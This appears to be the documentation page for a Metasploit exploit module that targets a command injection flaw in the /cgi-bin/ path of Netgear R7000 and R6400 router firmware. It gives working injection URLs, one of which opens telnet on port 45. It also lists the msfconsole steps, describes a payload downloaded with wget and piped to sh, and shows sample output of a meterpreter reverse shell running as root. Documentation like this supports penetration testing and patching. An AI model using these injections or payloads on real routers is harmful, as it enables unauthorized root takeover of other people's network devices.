## Introduction
The `netgear_r7000_cgibin_exec` module exploits a command injection vulnerability in Netgear R7000 and R6400 router firmware version `1.0.7.2_1.1.93` and possibly earlier. The vulnerability is found in the `/cgi-bin/` folder of the router. A manual injection would look like so: `http://<RouterIP>/cgi-bin/;echo$IFS"cowsay"`. This will echo 'cowsay' on the router. A fairly useful manual command injection is like so: `http://<RouterIP>/cgi-bin/;telnetd$IFS-p$IFS'45'` will open telnet on port 45.


## Vulnerable Application

Netgear R7000 and R6400 routers running firmware version `1.0.7.2_1.1.93` and possibly earlier.

## Verification Steps

  1. Start msfconsole
  2. Do: `use exploit/linux/http/netgear_r7000_cgibin_exec`
  3. Do: `set RHOST <RouterIP>`
  4. Do: `set PAYLOAD <payload>`
  5. Do: `run`
  6. If the router is a R7000 or R6400, you should get a session

## Options

### PAYLOAD

  The valid payloads are `meterpreter` payloads _only_. The payload uses the `wget` flavor and pipes the downloaded binary to `sh`

## Scenarios

  Sample output of a successful session:

  ```
  msf exploit(netgear_r7000_cgibin_exec) > run

[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Router is a NETGEAR router (R7000)
[+] Router may be vulnerable (NETGEAR R7000)
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://[redacted]:8080/
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54168) at 2017-03-10 15:56:21 -0600
[*] Server stopped.

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 192.168.1.4
OS           :  (Linux 2.6.36.4brcmarm+)
Architecture : armv7l
Meterpreter  : armle/linux
meterpreter >
  ```

  As you can see, the `uid` is 0, meaning you have root access.


